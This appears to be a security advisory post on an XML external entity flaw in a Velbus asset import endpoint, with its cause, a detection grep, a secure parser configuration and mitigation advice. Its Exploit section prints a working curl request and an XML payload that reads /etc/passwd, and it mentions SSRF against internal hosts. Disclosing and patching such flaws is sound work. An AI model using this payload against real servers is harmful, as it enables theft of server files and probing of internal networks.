Listen to this Post
The vulnerability arises because the Velbus asset import endpoint does not disable Document Type Definition (DTD) processing or external entity resolution in its XML parser. The `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(…)` method is called on untrusted XML input without any of the standard security features that would prevent an XXE attack. Because external entities are allowed, an attacker can embed a malicious entity declaration inside the XML project file. This entity can point to a local file on the server (using a `file://` URI) or to an internal network resource. When the parser processes the imported file, it resolves the external entity and substitutes its content into the XML document. The attacker-controlled `Caption` tag value, which contains the entity reference, is then propagated into the name of a newly created asset. By capturing or observing the asset name, the attacker can read the content of the targeted file. The attack is limited to files smaller than 1023 characters; if the file exceeds this limit, the parser throws an error. Similarly, by pointing the entity to an internal HTTP endpoint, the attacker can trigger Server-Side Request Forgery (SSRF) to scan or interact with internal network services.
Platform: Velbus
Version: All vulnerable
Vulnerability : XML External Entity
Severity: High
date: 2026-04-15
Prediction: 2026-04-29
What Undercode Say:
Analytics
To detect whether your deployment is vulnerable, you can search for the insecure XML parsing pattern in the source code:
grep -r "DocumentBuilderFactory.newInstance().newDocumentBuilder().parse" .
If the code does not explicitly set the following features before parsing, it is vulnerable:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
Exploit:
The following steps and XML payload demonstrate how to read the `/etc/passwd` file:
1. Log in to a realm with a user that has Velbus asset import permissions.
2. Create or select a Velbus TCP Agent in the same realm.
3. Send a POST request to the import endpoint with the malicious XML payload:
curl -X POST /api/{realm}/agent/assetImport/{agentId} \
-H "Content-Type: application/xml" \
--data-binary @xxe.xml
4. The `xxe.xml` file contains:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE velbus [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <Project> <Module type="VMB1RY" address="01" build="00" serial="LAB"> <Caption>&xxe;</Caption> </Module> </Project>
5. After uploading, navigate to the asset list. The `Caption` field of the newly created asset will contain the contents of the targeted file (if under 1023 characters).
Protection from this CVE
- Upgrade: Apply the patch from the vendor as soon as it is released. The fix is expected to be included in version 1.22.1 or higher.
- Mitigation: If an immediate upgrade is not possible, disable the Velbus asset import feature or restrict access to the endpoint to only trusted users.
- Code Fix: Implement the secure XML parser configuration as shown in the Analytics section to disable DTDs and external entities.
Impact
- Local File Disclosure: An authenticated attacker can read sensitive files on the server (e.g., configuration files, application secrets) as long as each file is smaller than 1023 characters.
- Server-Side Request Forgery (SSRF): The vulnerability can be exploited to make internal HTTP requests, potentially scanning internal networks or interacting with internal services.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
